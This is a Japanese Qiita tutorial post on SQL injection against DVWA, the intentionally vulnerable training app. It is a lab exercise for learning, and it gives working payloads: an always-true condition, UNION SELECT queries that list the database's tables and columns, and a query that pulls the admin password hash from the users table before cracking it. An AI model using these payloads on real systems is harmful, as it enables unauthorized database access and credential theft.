LoginSignup
2
3

More than 3 years have passed since last update.

DVWAでSQLインジェクション

Posted at

前提

目標

  • sqlインジェクションでadminのパスワードを奪取する

手順概要

  • sqlインジェクションができるか確認する
  • DVWAで使用されているDBを見つける
  • ユーザ情報を管理しているテーブルを特定する
  • 特定したテーブル内の使用されるカラムを確認する
  • カラムにパスワードに関するものをみつける
  • adminのパスワードを奪取する
  • 暗号化されているので解読する

内容

SQLインジェクションとは

  • 入力フォームなどからSQL命令を直接送り込み、データベースに不正アクセスする方法

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。

    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する image.png
  • SQLインジェクションページにアクセスする(左メニューの下にある)
    image.png

インジェクション開始

  • まずは、ログインフォームが機能するか確認
    • 取り合えず「1」を入力すると、id:1のユーザー情報が返ってくる。 image.png
-- 余談だが、こんな感じの命令文なのだろう
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値]
  • sql命令文が通るか確認する
    • 「1' or 'a'='a」と入力すると、全ユーザーが出力された。つまり、sql命令可能なフォームであることが分かった。
-- 1' or 'a'='a'とすると,後者が必ずtrueになるので全部ユーザー返ってくるはず
SELECT [表示する要素名] FROM [テーブル名] where id = [入力値] OR 'a' ='a

image.png

  • DBのバージョン取得する(今回のpw奪取には不要だが一応)
    • 「' union select version(), null #」と入力すると、バージョンが返ってきた。
-- バージョンを取得
select version()
-- 今回すでにselect文が組み込まれているので、1つの命令で2つのselectを流すようにする
-- unionはselectを統合する
-- 最後は#で不要な命令をコメントアウトする
union select version() #
--The used SELECT statements have a different number of columnsってエラーになる
union select version(), null #

image.png

  • 検索すべきDBを特定するためDB名を取得(ついでにホスト名とユーザー名)
    • 「' union select @@hostname,database() #」と入力すると、hostname:kali,DB:dvwaであることが分かった。
    • 「' union select user(),'hoge' #」と入力すると、user:mysqlであることが分かった。
-- ホスト名
@@hostname
-- データベース名
database()
-- ユーザー名
user()
-- バージョン取得時と同様に
union select @@hostname,database() #
union select user(),'hoge' #

image.png

image.png

  • DB:dvwaのテーブルを取得
    • 「' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #」と入力するとguestbookとusersの2つテーブルがあることが分かった。
    • 多分usersテーブルにユーザー情報がありそうだと目星をつける。
-- information_schemaが持つデータは以下の3つ
-- <1>schemata:DBのメタ情報
-- <2>tables:テーブルのメタ情報
-- <3>column:カラムのメタ情報
union select table_name, null from information_schema.tables #
-- 多量のデータが出てきたので、絞り込む。今回のDBはdvwaなのでそれを使う
union select table_name, null from information_schema.tables where table_schema = 'dvwa'#

image.png

  • ユーザーテーブルのカラムを参照
    • 「' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#」と入力すると、各テーブルのカラムが出てきた。
union select table_name,column_name from information_schema.columns where table_schema = 'dvwa'#

image.png

  • passwordカラムの存在を確認できたので、adminのパスワードを奪取する

    • 「' union select user, password from dvwa.users where user = 'admin' #」と入力すると、adminのみのパスワードが出力された。 image.png
  • ハッシュパスワードを解析する

  • admin/passwordを奪取できた。

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3